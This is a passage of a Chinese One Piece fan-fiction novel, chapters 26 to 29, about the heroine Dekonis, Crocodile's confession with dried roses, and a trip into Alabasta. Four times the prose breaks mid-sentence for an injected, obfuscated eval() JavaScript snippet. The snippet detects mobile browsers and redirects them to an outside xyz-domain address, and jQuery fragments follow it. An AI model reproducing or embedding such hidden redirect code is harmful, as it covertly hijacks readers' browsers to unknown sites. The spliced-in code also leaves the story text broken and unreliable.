手里挑了个甘甜多汁的水果,随便洗了洗便咬在嘴里。「饱餐一顿」的餐厅旗帜已经尽在眼前,黛可妮斯极为流畅地飙船入库,手里拉着揽绳跳下甲板,完全没注意到餐厅内的古怪气氛。
直到她看到花臂大叔脸上的尴尬笑容,以及秃驴老板缩在角落瑟瑟发抖的模样。
才发现到了用晚餐的时间,这餐厅内却只坐着一位顾客。
这顾客嘴里叼着雪茄,靠在椅子靠背上,一身昂贵的皮毛大衣在烛光下闪闪发光,极为嚣张地将双腿翘在了餐桌上,重点突出了他那锃亮的皮鞋。
黛可妮斯的身姿便站定了。
此人微微抬起头,看向她,嘴角边便露出一个笑容。这笑容牵动了他那横贯整张脸的伤疤,显得诡异而瘆人。
黛可妮斯道:“我说过,本餐厅禁烟。”
“我知道。”
那人将嘴角的雪茄夹下,在白瓷盘正中央摁灭。
他仍然在笑:“但我就是想再次听到你说这句话。”
26.第 26 章
克洛克达尔销声匿迹了半年多的时间。
不曾在报纸的版面上占据只字片语,也没有在口口流传的事迹中现身,他停留在大众面前的姿态,仍旧是个失败者。
像众多失败者一样,败给白胡子的失败者。
然而海军方面,似乎也毫不介意这位新晋七武海的表现,尽管他执意挑战白胡子的行径让人大跌眼镜。
“你有什么事要做吗?”
不知从何而起的预感,黛可妮斯知道早晚有一天他还会重新出现。再次相逢的场景在脑海中上演了无数次,以至于当她身临其境时,甚至感到有些乏味。
“是的,有一件要事。”
克洛克达尔站起身,缓慢地抚平衣服下摆的褶皱,拍掉沾染的烟灰。
“我需要你来确认我的存活。”他说出了这样一句古怪的话。
对于儿时的两人而言,夜深时分回到孤儿院后,要做的第一件事,便是确认彼此的伤势与状态。
有时候忙于逃跑的小孩子,就连身上挨了子弹也不知道,直到血液流尽了,身子一歪倒下去,再也醒不过来。
让同伴来检查自己的伤势,是对彼此生命都负责的一种行为。
两个人开玩笑地将之称为“确认存活的仪式感”。
但是现在,克洛克达尔就站在「饱餐一顿」海上餐厅的大厅正中央,挺拔的身姿几乎要将顶灯发射出的光线全部挡住,高高的眉骨下,一双漆黑的眼睛看似平静,眼尾却带着不以为意的桀骜。
他早就不是那个身高才到她胸前的瘦小男孩了,他完全能够保护自己了,想要得到什么东西也再也不用偷偷摸摸地抢了。
为什么还要重复儿时的把戏?
黛可妮斯困惑不解地望着他。
这段时间以来,黛可妮斯收集了大量与克洛克达尔有关的传闻和报道,一点一滴地拼凑出了一个完全不同的形象,他不曾向她展现过的形象。
他已经长大了,这是黛可妮斯已经确认过的事实,他不再是那个需要依赖自己的小弟弟。
曾经的她喜欢和他一起掠夺他人的财富,看那些自以为是的蠢货满脸震怒、捶胸顿足的模样。她根本不会在乎抢到手了什么东西,又是否值钱,她只是享受这种掠夺的乐趣,她本以为克洛克达尔也是一样。
后来她发现克洛克达尔要的是更多,他开始执着于权力和声誉,他越来越会演戏,给外人展示他的虚情假意,甚至在两人独处之时,他还是会在不经意间摆出那副虚伪的笑容。
黛可妮斯觉得他太陌生了,简直是另一个完全崭新的人,继承了克洛克达尔的记忆罢了。
这次又半年多没曾联系过,他那张被狰狞伤疤贯穿的面孔上笑容浅浅,一举一动都是陌生的含义,黛可妮斯甚至不敢上前。
她能感觉到对面的男人有话想说,却对接下来的谈话方向毫无头绪,她想揣测这个人的想法,却摸不到任何门路。
克洛克达尔慢慢地收起了笑容,神色平静异常,这样的他倒是让黛可妮斯多了几分熟悉感。
他的手伸向怀中,从沙化的胸腔中,抽出了一大束干枯的玫瑰。
“拿好。”
彻底丧失水分的枝条干硬而挺直,摸在手里很扎人。那曾经鲜红似血的红玫瑰,仿佛是在一瞬间被抽干了全部水分,还来不及展现出任何萎靡,便已□□燥定格,展现出褪色的模样。
黛可妮斯双手捧着这一大捧干花,不明白克洛克达尔的意思。
“不要送我不值钱的东西。”
克洛克达尔哈哈大笑。
他知道自己对她的感情卑劣而一文不名,但只要她能接受他,那么即便他是一颗干枯的杂草,也会价值千金。
他觉得自己不能够再等下去了。他需要自己被认可,被她确认。
“我不想让你见到它们枯萎的过程,”他轻快地说,“现在它们能永远保持着这副姿态了。”
他下一句话轻飘飘的,不带任何重量,就像是一道微风悄悄拂过,直到被拂动的发丝落在脸颊上,产生了些微痒意,黛可妮斯的意识才回归到他说的那句话上。
他说:“似乎只要我不说出来,你就永远不会明白,我爱你。”
*
黛可妮斯的确不明白。
为什么很久没见的家伙突然出现,气势汹汹,就在她以为对方会从玫瑰中掏出一把枪来杀掉所有人的时候,那家伙却表白了。
就像她之前遇到过的所有搭讪者那样,克洛克达尔居然也会说出这种不知所谓的话语吗。
黛可妮斯完全不能理解。
其实对于黛可妮斯而言,被人表白,甚至求婚已经是一种家常便饭。但凡事总有第一次,直到现在她还是对自己第一次被表白的经历,记忆犹新。
当时她和克洛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14390221|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
克达尔趁着夜色,潜入了某贵族的庄园中。虽说在撬贵族家宝库门锁时,被起夜的贵族长子发现,但黛可妮斯也是非常及时的将之打晕,并找了把椅子结结实实捆好。
俩人撬开门,装财宝装到一半,那贵族长子醒过来,对上黛可妮斯凶光毕露的双眼,登时红了脸颊。
他嗫嚅道:“……可以告诉我你的姓名吗?”
黛可妮斯扭扭头看看正在装财宝的克洛克达尔,又举起手中的匕首掂了掂,怀疑自己到底是哪里做得不到位,以至于受害者完全没有发出恐惧的尖叫。
贵族长子见她的动作停下了,顿时更加激动:“小姐!我是XX伯爵的儿子,我家的资产有XXXXX……请你嫁给我吧,我一定会对你……”
然后被克洛克达尔飞起一脚踢进墙里。
“我们得杀了他,”克洛克达尔拍拍手,扭头正经道,“他看到了你我的模样,如果放过他,以后会有大麻烦。”
黛可妮斯愣愣的,大脑还在消化刚才听到的宣言:“诶,可是他为什么会称呼我为小姐?”
她之前只被叫过小混球小屁孩小混帐。
克洛克达尔冷着脸,低头收拾装满金币的袋子。
“克洛克达尔,他为什么不害怕我呢?”黛可妮斯很困惑,“我们是来偷东西的,他为什么想要娶我呢?”
“不要去理解蠢货的想法,否则你就会变成蠢货。”克洛克达尔的语气听上去很烂,“也不要相信他们所说的任何话,没有人是值得信任的。”
当时她认为克洛克达尔所言,极有道理。
说到底,这种莫名其妙突然冲出来表白什么的,怎么可能让人接受啊。
遇到这种腼腆的表白者,倒也没什么。在更多情况下,被拒绝的对方会恼羞成怒,转而采取言语辱骂乃至暴力的行为。
久而久之,黛可妮斯在不断厌恶这种行径的同时,形成了一整套完善的自我保护措施,具体表现为能打过的就打,打不过的就跑。
而当克洛克达尔对她说出那番话时,面对这样一个不太能打赢,也不太能跑过的对象时,黛可妮斯的自我保护措施,还是有在发力的。
她清清楚楚听见自己评价道:“很无聊。”?
克洛克达尔听到这句话后毫无反应,甚至点起一只雪茄,叼在嘴边深深吸气,仿佛在享受烟雾的味道。
然后他转身就走。
27.第 27 章
“失魂落魄地走掉了呢。”
“是指谁啊?”
“就是那个,”花臂大叔一努嘴,“七武海里面的,臭名昭著的鳄鱼啦。”
“失魂落魄这四个字,和他有什么关系?”
黛可妮斯漫不经心地擦着玻璃高脚杯。
“因为他被小黛可你拒绝了嘛。”
“哪方面?”
“表白诶,小黛可。”
“拜托,你不会真的觉得那是表白吧?”
黛可妮斯忍住想翻白眼的冲动,最后还是没忍住。
“谁知道他是发什么疯?”
花臂大叔用极为夸张的姿态抬手扶额、摇头叹息、搭上主厨大人的肩膀:“唉。”
主厨大人给蛋糕胚挤上一朵奶油花:“唉。”
“别告诉我,你喜欢他那种类型。”黛可妮斯眯起眼睛,“回头我把他的小电话虫给你?”
花臂大叔继续摇头:“有人是笨蛋啊。”
主厨大人点头:“虽然那孩子一看上去就是个恶棍,但是小黛可也不是什么好人吧。”
“呜哇,好过分的评价,主厨大人,我要抗议。”
“那你到底喜不喜欢他?”
“不喜欢。”
花臂大叔吓得后退一步:“回答也太果断了喂!”
“那么,小黛可你当初为什么还会和他一起出海?”
“就是说啊,你们也算得上是青梅竹马吧,多么单纯美好的感情……虽说你俩都是坏蛋,小坏蛋。”
“他之前说会给我很多钱……”
俩人一起瞅着黛可妮斯:“他没给吗?难道他也是个吝啬鬼——这可绝对不行哦!世界上的吝啬鬼有那头秃驴一只就够了,再多了可不行哦——”
秃头老板猛烈打喷嚏。
“那倒不至于……啊,我想吃枫糖馅饼,主厨大人。”
主厨大人将馅饼端到她面前:“然后呢?”
“还要什么然后啦?”
“他是不是做了什么对不起你的事情?”
花臂大叔大胆揣测:“背着你和他人谈情说爱?当着你面和他人谈情说爱?试图想让你也和他谈情说爱?”
“……什么乱七八糟的,为什么非要谈情说爱啊。”
“因为他对你表白了诶!”
花臂大叔和主厨大人异口同声。
秃头老板破门而入:“喂我说你们,有在认真工作吗?不要再聊八卦了啊喂……”
花臂大叔一脚将之踢出门外:“这里不需要你。”
“小黛可你也差不多到这个年纪了,”主厨大人给枫糖馅饼洒上糖霜,“就没有喜欢的异性吗,或者同性?”
“完全没有什么特殊的感觉呢。”
“可是啊,我个人觉得诶,干枯的玫瑰花什么的……”花臂大叔抱着胳膊靠在吧台边,暧昧道,“有一种别样的浪漫呢,沙沙果实的能力。”
主厨大人瞅他一眼。
“这样吗,那你拿走吧,我还没扔进垃圾桶。”
“哇小黛可你真的,好无情。”花臂大叔瞪她,“再怎么说,那也是一份心意。”
“是我不需要的东西……为什么用这种眼神看我?”
“喂锡菲思,这就是被爱者的有恃无恐吗?”花臂大叔一副很受打击的模样,颤巍巍扶着主厨大人的手臂,“要是让我像小黛可那样拥有漂亮的脸蛋,我一定泡遍天下所有帅哥。”
主厨大人淡定道:“幸好这只是个假设,你只是个普通的人妖。”
“好伤人,我要落泪了。”
“可你明明笑得很开心。”
黛可妮斯埋头吃馅饼,对两个中年大叔的调情熟视无睹。
“话说回来,那孩子的脸是怎么回事?”
花臂大叔若有所思:“我记得他之前还没有,看样子是遭受了很严重的伤呢。”
“是哦,好长的伤疤呢。”
黛可妮斯微微一顿。
枫糖馅饼烤的恰到好处,饼皮酥脆,内馅香甜。
她站起身来,将咬了一口的馅饼放回盘中。
“太烫了,烫到舌头了。”
主厨大人给她倒了一杯冰水。
黛可妮斯举着玻璃杯,露出一点舌头接触水面,像只正在喝水的小猫。
她决定一会儿回去就将那束干玫瑰丢掉,希望能借此结束莫名其妙的八卦追问环节。
*
“简直太棒了,克洛克达尔,就像我早就说过的那样,你加入七武海是个绝对正确的选择,对于你我都会是双赢的……”
海军将领的态度近乎谄媚,克洛克达尔沉默地坐在桌子对面,全然没有要交谈的意愿,但海军依旧滔滔不绝。
让他厌烦不已。
如果是之前,他还是不吝啬于扮演几场假惺惺的场面戏,说几句顺溜拍马的话也并不困难。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505829|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
但是现在,他一脚踢翻了桌子。
洁白的桌布随实木圆桌一同倒下,所有海军齐齐从椅子上跳下来,面上阴晴不定,几十双眼睛紧紧盯着他,有的人已经将手掌按在了腰间的武器上。
克洛克达尔就在这样的注视下起身离去。
站在海军基地的正门口,来来往往的士兵对他侧目而视。克洛克达尔浑然不觉,一手夹着雪茄送至唇边,牙齿咬住深吸一口。
他缓缓闭上眼睛,烟雾裹挟着化学物质冲进肺叶的感觉,他在几年前还完全无法适应,会被浓烈的雪茄味道呛得面红耳赤。
而现在的他已经烟不离手。
衣袍被风鼓动,他飞身跃上海军准备的船舰。船上的水手们下意识避开他的目光,跑去做出航的准备。
比起尊重和爱戴,这些恐惧与忌惮的眼神才是他想要的。
总有一个人,不会这样注视他。
是的,那个人会极尽所能地鄙视他,嘲笑他,全然不将他放在眼里,毫不留情地对他说出“不”。
而自己居然能从那她长满冷刺的外壳下,察觉到几分关怀。
克洛克达尔笑了一下,感觉自己脑子绝对是出问题了,大约是得了什么疾病,一病病了好几年。
非要说的话,他也完全没有幻想过那家伙答应的模样,真的没有。
见证过无数男人被她拒绝的失败面孔,克洛克达尔其实也设想过,自己被拒绝后该采取的措施。
结果一个也没用上。
他靠着桅杆,低低地哼笑,却不知怎么就回想起两人第一次杀人的经历。
那应该也是她第一次杀人,却远比他想象中要更加冷静。
克洛克达尔记得很清楚,那个男人曾经割开了他的肚子,于是他也选择破开对方的腹腔,以牙还牙,以眼还眼。
当魁梧的身躯终于失去生机,在嘶吼中倒下时,他也因脱力而眼前发黑,短暂地失去了意识。死者腹腔的内容物浇了他一身,热乎乎的。
但是很快,伤痕遍体的她摇晃着爬起身,将他从满地的鲜血与脏器中拽起来,克洛克达尔的神智略略收回,就对上了她的狰狞面容。
“别装死,”她摇晃他的肩膀,“快去搜刮这间屋子!”
杀了人,第一意识不是逃跑,反倒是搜罗财物。即便是现在回想起来,克洛克达尔还是忍不住露出一丝笑意。
还是想想,下次该带什么礼物吧。
28.第 28 章
此后克洛克达尔每月都会送来礼物,有时他会亲自过来,有时会派不同的人送。
大多是金银财宝之类的,黛可妮斯一拿到手就会驾船直奔阿拉巴斯坦,去城市的商业中心典当卖掉,并挥霍一空。
在这几年时间里,克洛克达尔没有再直截了当地向她表达过任何情谊,黛可妮斯也找不到什么可以狠狠拒绝他的机会——她对此很失落,并会在内心暗自畅想,下次该用什么方式拒绝他的表白。
花臂大叔摸着下巴:“是我的错觉吗?小黛可你最近是不是魅力下降了啊?”
黛可妮斯:?
“总感觉最近向你搭讪的笨蛋们变少了啊,或者说,几乎消失了呢。有点怀念小黛可火力十足回怼追求者的岁月了啊。”
“是你上年纪了吧大叔,”黛可妮斯招招手,让送报鸥落下来,“什么搭讪的家伙?根本无人在意好吧。”
小黛可是怎么变成这种无情无欲的鬼样子的?花臂大叔端着盘子默默腹诽,同时对某个时不时送礼物的家伙之未来表示哀悼。
然后下一秒,他就看见黛可妮斯抓着今天崭新出炉的报纸,爆发出超级狂放的笑声。
连挥舞着锅铲的主厨大人都被惊动了:“不知道的还以为那秃驴平地摔跤,把门牙磕掉了呢。”
“远比那还要滑稽搞笑。”
黛可妮斯颤抖着擦掉眼角泪花,目光落到报纸上克洛克达尔的照片,又没忍住发出爆笑。
——那个纯坏批居然被誉为「国家英雄」!
不禁感慨道:“有克洛克达尔在,阿拉巴斯坦绝对要完蛋啦。”
身边一桌上的食客听见了,竟然大为不满:“喂那个臭丫头!你怎么敢对我们的英雄出言不逊?!要知道克洛克达尔大人可是多次打击了混账海贼的正义英雄……”
这几个词语的组合再次让黛可妮斯狂笑不已,义愤填膺的食客顿时脸都气红了:“你这个不知天高地厚的混账丫头,今天老子势必要让你的言行付出代价——”
黛可妮斯笑过了头,开始撕心裂肺地咳嗽;花臂大叔无奈地将餐品送到桌上,熟练地从柜台后抽出了一根狼牙棒;主厨大人熟视无睹地接过了新菜单,又转进了厨房;秃驴老板听到声音冲出来,一看两边都惹不起又灰溜溜缩回头去。
来自阿拉巴斯坦的食客火冒三丈直跳脚,海上餐厅内已经是乱成一锅粥了,而就在这充满了笑声咳嗽声臭骂声的空隙间,一个人的叹气声格外清晰。
“真是被玩弄于股掌之间呢。”
有的时候,再热闹的气氛也会在某个瞬间突然停滞一瞬,带着无穷的巧合,这个人的声音恰好在此刻响起。
声音并不大,但餐厅内所有人都听得很清楚。除了某个咳嗽不停刚缓过气的家伙。
众人齐齐转过头去。声音的来源是一名身着兜帽的黑衣人,并着几名相同打扮的同伴坐在餐厅角落里,低调地用餐。但在这个巧合之下,再怎么想低调也做不成了。
说到底,他们这个衣着一看就很可疑啊。
本就怒气冲冲的食客噌噌噌冲过来:“我看你们就是海贼吧!小心别被克洛克达尔大人抓住了,他一定会把你们送进监狱……”
他一脚上前,踢翻了整张餐桌。食物残渣四散横飞,桌前的黑衣人们却岿然不动,他一拳挥过去,拳头反被对方轻松握住。
方才出声的黑衣人摇摇头:“目光短浅。”
手腕一翻,径直将这个蠢货扔出窗外,口中还在喃喃低语:“那个海贼,到底对阿拉巴斯坦做了什么……真是可惜了这些食物,乌鸦,你激动什么?”
他的身边,另一个黑衣身影猛地站起来,比他更加精瘦,更加高挑。那人略略弯下腰,在他耳边说了些什么,于是他也转过头来,望向黛可妮斯:“……就是她吗?”
黛可妮斯刚拿了杯水润润嗓子,一回头和他正好对上视线。黑色的兜帽下是一张严肃而棱角分明的脸,半张脸布满了交错的网格状伤疤,薄薄的嘴唇咧开一笑,却显得像个挥舞匕首的流氓。
黛可妮斯刚觉得此人有点眼熟,还没想起是在哪里见过,却见旁边那个身影高瘦的人闪身上前,一伸手摘下了兜帽,露出了其下的面孔。
苍白到病态的皮肤,留着板寸的脑袋上头发茬极短,显出一颗圆滑的头颅,线条优美的肌肉沿着脖颈向下延伸,在脆弱中带着一丝古怪的力量感。
此人还戴了一副严严实实的黑色面具,形状像是鸟类长长的喙,因此即便他摘下了兜帽,在黛可妮斯的面前蹲下,深邃的眉眼里饱含激动地望着她,她也完全想不起这是谁。
花臂大叔连忙扯下围裙过来看好戏:“难道又是个想向小黛可求婚的蠢货?!”
这个鸟嘴面具在黛可妮斯面前晃了几下,发出了一阵蚊子般的嗡嗡声。
黛可妮斯完全听不清这家伙在说什么。
见她这副茫然的表情,鸟嘴面具君的情绪慢慢降下去,连眼中都多了几分失落,一双骨节分明的手抬起,又缓缓收回。
身后的网格疤脸终于看不下去了,清咳一声:“乌鸦,你没开扩音器。”
鸟嘴面具君如梦初醒,手指在面具边缘触碰几下,低沉沙哑的男声终于传出:“……你还记得我吗?”
黛可妮斯莫名其妙地瞅着他:“完全没印象。”
她能看见这男子眼中的光摇晃了一下,啪得消失了。
鸟嘴面具君沉默了一会儿,才缓慢站起身:“抱歉,打扰了。”
他转过身,一步步走回同伴身边,最后他伸手戴上兜帽的瞬间,又回头望向黛可妮斯。
黛可妮斯这才注意到那怪异感来自何处——他只有一只耳朵。
她忍不住想起了一个火光冲天的夜晚,仓库里站着一群奴隶。
网格疤脸耸耸肩,从地上捡起一枚刚才掉落的面包,放进嘴巴咀嚼:“我们走吧。真是令人遗憾——我是指这些面包,说真的。”
其余的同伴发出一些会意的嘻笑声。
他们扔下一袋钱币便很快离开,鸟嘴面具君没再多停留,收回目光一同离去。
直到这时,躲
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617244|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在一旁的秃驴老板终于冲出来,将地板上的钱袋抱进怀里,喜滋滋打开然后脸色大变:“混账——他们根本没给够,放一堆不值钱的铜币是什么意思啊混账——”
花臂大叔不怀好意地扭过来,拿胳膊肘子捅黛可妮斯:“我还以为你不行了呢,没想到连神秘的革命军里也有你的相好……啊啊,不愧是长了这张脸蛋的小黛可……”一只手毫不客气地捏住她的脸颊。
“不要说奇怪的话,上了年纪的人妖大叔。”
黛可妮斯一巴掌打开他的魔爪,完全不在意「上了年纪」这几个字对花臂大叔的打击有多狠。
“话说回来,你说的革命军难道就是报纸上经常报道的那个?那几个人?”
花臂大叔大翻白眼:“亏你平时还天天买报纸,到底在看些什么东西啊?!他们的报道不是经常出现吗,尤其是那个满脸可怕伤疤的龙!”
黛可妮斯自知心虚地去翻往期报纸。
秃驴老板抱着铜币钱袋子大吵大闹了一通,见无人理会他,便冲过来,一把扯走了黛可妮斯的报纸:“上班时间,禁止看报纸!你这混账八卦小懒虫!”
黛可妮斯危险地眯起眼睛,秃驴老板浑身一抖,脚底抹油跑了。
话是这么说,餐厅打烊后,黛可妮斯还是翻出了厚厚一沓报纸,一齐搬到桌子上展开,研究这个所谓「革命军」的事迹。
本来是个名不见经传的小组织,后面干的事情倒是越来越出格,在世界各地煽动民众,对抗地方政权,甚至被世界政府列为反动危险分子。
虽然官方的报道上对这个组织只有各种谴责辱骂之词,但黛可妮斯却是不以为意,反倒对此更感兴趣,于是更加细致地翻找革命军的行动痕迹,在报纸上勾勾画画,试图从中揣测出他们的意图。
“你也想推翻世界政府吗?”
低低的声音从头顶传来,黛可妮斯好笑地抬起头,却出乎意料地见到了克洛克达尔。
他低着头,居高临下地望着她。视线的终点落在她手中的羽毛笔上,黛可妮斯在这种注视下,忍不住挠了挠手背。
“推翻世界政府?为什么我要做那种吃力不讨好的事情?”
他笑了一下:“也是,毕竟你是最懒惰的,也是最精明最自私的。”
他的手伸下来,取走了她手中的羽毛笔。
“我也比较自私。”克洛克达尔说,“我已经厌烦了单方面向你付出。”
黛可妮斯心想,难道她花天酒地的日子要到头了?说实话她还在期待下回克洛克达尔会送来多少黄金呢。
结果克洛克达尔只是将那根羽毛笔举至眼前打量了一下,便放进了怀里。
“这个就当作是本次的回报吧。”
黛可妮斯还没来得及损他几句,这家伙就化作一道黄沙,在窗口消失了。
只是在他消失的窗沿上,多了一盆圆鼓鼓的仙人球,在其顶部,生着一枚饱满的花苞。
他从没停留地如此短暂。
黛可妮斯伸出手,将那盆仙人球端进来,摆在桌上。
29.第 29 章
“咳咳,现在我允许你们短暂地停下手中的工作,听我说。”
结束了一天的营业,大家都忙着打烊,因此即便秃头老板站在桌子上发表了如此言论,也根本没有人搭理他。
「饱餐一顿」的员工们都很擅长无视自家的老板。
而秃头老板也很擅长在这种冷暴力下修补自己受伤的小心脏。于是他清清嗓子,继续道。
“我们要停业几天。”
黛可妮斯终于抬起了头。作为一名全年三百六十五天无休的员工,这句话对她的冲击不亚于看见克洛克达尔光着身子跳草裙舞。
“我是不是听错了,小黛可?”
花臂大叔将抹布扔进水桶,抱着手臂走到她身边,小声道:“刚才那秃驴说他是人鱼?”
“不,比那更恐怖,他说我们要停业。”黛可妮斯尽可能冷静道,“我有种不妙的预感,也许我最好现在回房间收拾好行李,随时跑路。”
秃头老板发出了一阵得意又阴森的恶心笑声,要是以往,他已经被黛可妮斯一脚踹进海里了。
“呵呵呵~我无知又愚蠢的员工们啊,如今的我是被幸运女神所眷顾的,看这个——「梦想之城」雨地的团体奢华一月游!如此大奖,却能刚刚好落在我的身上——”
秃头老板从衣兜里抽出一叠中奖画册,上面清清楚楚地表明着这家伙真的中了特等奖。
黛可妮斯眯起眼睛:“这就是你每天花二百贝利买彩票的结果吗?汤姆大叔,我真切地怀疑这家伙一定是耗尽了我们所有人的八辈子运气,才能中奖。”
花臂大叔&主厨大人:“深有同感。”
秃头老板跳脚:“胡扯!你们这是嫉妒——”
主厨大人:“很好,秃驴先生,那就请你尽情享受假期吧,多余的话就不要说了,不要打扰我们来之不易的休假……”
黛可妮斯:“虽然不用上班很愉快,但是消息有点太突然了,我还没想好该去哪里放松一下……主厨大人有什么建议吗?”
“你们在说什么啊,无知的家伙们。”
秃头老板极为嚣张地翻了个白眼,这种态度实在是让人无法忍受,黛可妮斯注意到花臂大叔已经默默撸起袖子。
如果待会花臂大叔把秃驴扔海里了,那她就顺手去把中奖画册撕掉,就这么决定了。
“我说了是「团队一月游」,懂吗?”秃头老板晃了晃手中的画册,“虽然我也很奇怪为什么主办方一定要求参与者必须为四人……但是谁让我们的人数刚刚好呢,所以感谢我的慈悲吧!无知的员工们!大家一起!”
黛可妮斯完全不想休假的时候还要见到那颗秃驴脑袋。
可是看他那副狂热的模样,不由得让人担忧这中奖会不会变成和仙人跳类似的诈骗案件。三位员工忧心忡忡地讨论了半小时,最后还是担心秃头老板被骗得连餐厅都卖掉,于是无可奈何地同意了。
从黛可妮斯第一次踏上阿拉巴斯坦的国土到现在,已经快五年了,但时至今日,她也不曾到访过这个名为「雨地」的城市。
只知道那是个深居内陆的繁盛绿洲,经济很繁华,被当地人称为「梦想之城」。她记得港口的少女可可曾经用极为向往的语气说起过雨地,说那里是所有阿拉巴斯坦人最向往生活的城市。
别的暂且不论,至少本次度假的目的地还是值得期待一下的。如果到时候秃头老板会扫兴的话,就直接将他锁在房间里好了。
抱着以上想法的三位员工多少提起了一点兴致,遂以迅雷不及掩耳之势迅速完成了闭店准备,打包好行李便驾船直奔阿拉巴斯坦。
到达沿岸的港口城市后,秃头老板就被泼了一头冷水。
虽然雨地一月游的费用全免,但前提却是,只免费在雨地的花销。
所以从港口前往内陆城市雨地的费用,就需要参与者自行承担了。
秃头老板站在骆驼租赁行门口,气得上下跳脚。
最后还是含泪咬牙从钱包掏出了贝利。
黛可妮斯全身都换上了阿拉巴斯坦当地人的外出服饰,从头到脚都被遮光透气的布料包裹严严实实,此刻正站在棕榈树的阴影下喝椰汁,顺便看管大家的行李。
花臂大叔从租赁行里走出来,冲黛可妮斯招手:“小黛可,你过来摘一下面纱。”
“作什么?”
因为当地灼热的阳光,多次前来采购的黛可妮斯早就习惯了时刻蒙面,虽然不明白花臂大叔是什么意思,但还是依言将面纱往下扯了扯。
她这才看到花臂大叔手中还牵着头骆驼,那骆驼本一脸抗拒,见到黛可妮斯的脸蛋后,两只眼睛骤然变成了爱心。
黛可妮斯:“……”
花臂大叔:“运气不好,就剩这一头骆驼了,它名叫「好色长睫毛」,是个只驼女性的混账家伙……”被骆驼踹了一脚。
一旁的秃头老板本还跃跃欲试想要爬上骆驼,见此立刻缩回了手脚。
“雨地的人们似乎在庆祝什么节日,大家都跑过去了,这里是最后一个还在营业的骆驼租赁行了。”
主厨大人将行李放进「好色长睫毛」背上的货箱里:“只有这一头也够用了,小黛可你坐上去,刚好还能再装下我们的行李。”
看看地图,从港口前往雨地大约需要步行三天左右,不过沿路上散布着不少小型绿洲,倒也不必太过担心补给问题。
话是如此,白日里走在沙漠之中还是很难熬的,比起难耐的气候,更让人无法忍受的是秃头老板喋喋不休的抱怨和唉声叹气。
花臂大叔:“要不将他打晕?”
黛可妮斯:“这样还需要我们背着他,不如缝住他的嘴吧。”
主厨大人:“每小时给他打开,让他喝口水就行。”
秃头老板:“我听见你们的密谋了啊喂!不要光明正大大地讨论这么残忍的事情啊!”
“不想被杀人灭口,就把嘴闭上。”
秃头老板一巴掌捂到嘴上。
习惯了在大海上经营餐厅,突然来到沙漠万里的内陆,一行人多少还怀抱着一些激动之情,只是这心情很快也被炎热和干旱消磨殆尽了。
前路上除了金黄的沙子以外再无他物,越走越让人忍不住心生疑虑,反复拿出地图和指南针查看,唯恐自己走错了方向。
饶是多次来过阿拉巴斯坦的黛可妮斯,此时也收起了玩闹的心情,老实巴交地坐在骆驼上。
临近傍晚时分,他们终于抵达了路线上的第一个绿洲。
绿洲面积很小,只设置了一些供旅人休息的简单木屋和汲水工具,但对于跋涉一整天的黛可妮斯他们而言,已经近乎天堂。
除了他们以外,此时还有另一队人员在此地休整。
刚摘下面纱想透口气的黛可妮斯:“……”
显然是领队的男人跳起来:“你你你——海上餐厅服务员黛可妮斯,你居然又未经允许入境——”
说实话黛可妮斯已经快要忘记这个名叫加卡的地方行政官了,但见到他怒发冲冠的模样,她还是勉强记起来了。
“别用你那趾高气扬的鼻孔看人可以吗,真的很没礼貌。”黛可妮斯嫌恶地挥挥手,“不好好在港口呆着当你的小官,跑到这种地方作什么?”
加卡的脸庞蓦地一红,扬起的面
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774194|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
孔低了些,依旧咬牙切齿道:“现在我已经是王国护卫队的小分队队长了,便更有义务限制你这种危险分子在我国境内的活动……”
“危险分子,我吗?”
黛可妮斯撸起袖子,展示了一下自己干巴瘦的胳膊肘:“还不知道我居然这么厉害。”
身后的花臂大叔和主厨大人适时地爆发出大笑。
眼看着加卡就要发飙,旁边却站起一个年轻的白袍身影,伸手拦住了加卡。他的皮肤很白,眼眶周围还涂着特别的眼影。
“冷静些,为什么如此激动?”
